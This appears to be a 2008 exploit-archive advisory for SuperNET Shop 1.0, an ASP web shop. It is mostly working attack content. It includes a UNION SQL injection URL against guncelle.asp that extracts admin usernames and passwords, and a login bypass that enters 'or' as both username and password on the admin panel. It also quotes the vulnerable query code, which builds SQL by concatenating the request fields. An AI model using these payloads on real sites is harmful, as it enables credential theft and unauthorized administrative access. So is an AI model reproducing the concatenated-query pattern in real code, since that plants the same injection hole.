SuperNET Shop 1.0 Remote SQL Injection Vulnerabilities

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : SuperNET Shop 1.0 Remote SQL Injection Vulnerabilities
# Published : 2008-04-08
# Author : U238
# Previous Title : LokiCMS <= 0.3.3 Remote Command Execution Exploit
# Next Title : Prediction Football 1.x (matchid) Remote SQL Injection Vulnerability

-_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_

SuperNET Shop v1.0  Remote SQL ???°njection Vulnerability

Discovered By : U238 (ugur238)


webpage : ugur238.org (the end)


mail : setuid.noexec0x1@hotmail.com

>From : Turkey - Erzincan


Script : http://www.aspindir.com/indir.asp?ID=2

Script (alternativ) : http://rapidshare.de/files/39062184/supershop.zip.html

-_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-

Exploit:

localhost:2222/lab/shop/secure/admin/guncelle.asp?id=1+union+select+0,KullaniciAdi,2,sifre,4,5,6,7,8,9+from+admin


Error File : guncelle.asp


Error Code : 

line - id = Request.QueryString("id")

line - SQL_L = "Select * from products WHERE id =" &id 


Admin Panel : target/secure/admin



-_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-

Admin Panel Bypass Exploit : 


Error File : 

giris.asp


Error Code : 

Sorgu="select * from admin where KullaniciAdi = '" & request.form("kulad") & "' and Sifre = '" & Request.form("sifre") & "'"
Rs.Open Sorgu, Baglanti, 1, 3

------------------------

secure/admin/default.asp  

username : 'or'

password : 'or'


Ye34h lets see you now admin panell ; ) 



*/ Greatz : The_BekiR  - ZeberuS  - ka0x - nettoxic - fahn - str0ke


MUSTAFA KEMAL ATATURK -  ATAM ???°Z???°NDEYIZ 

                                                                    /*

# www.Syue.com [2008-04-08]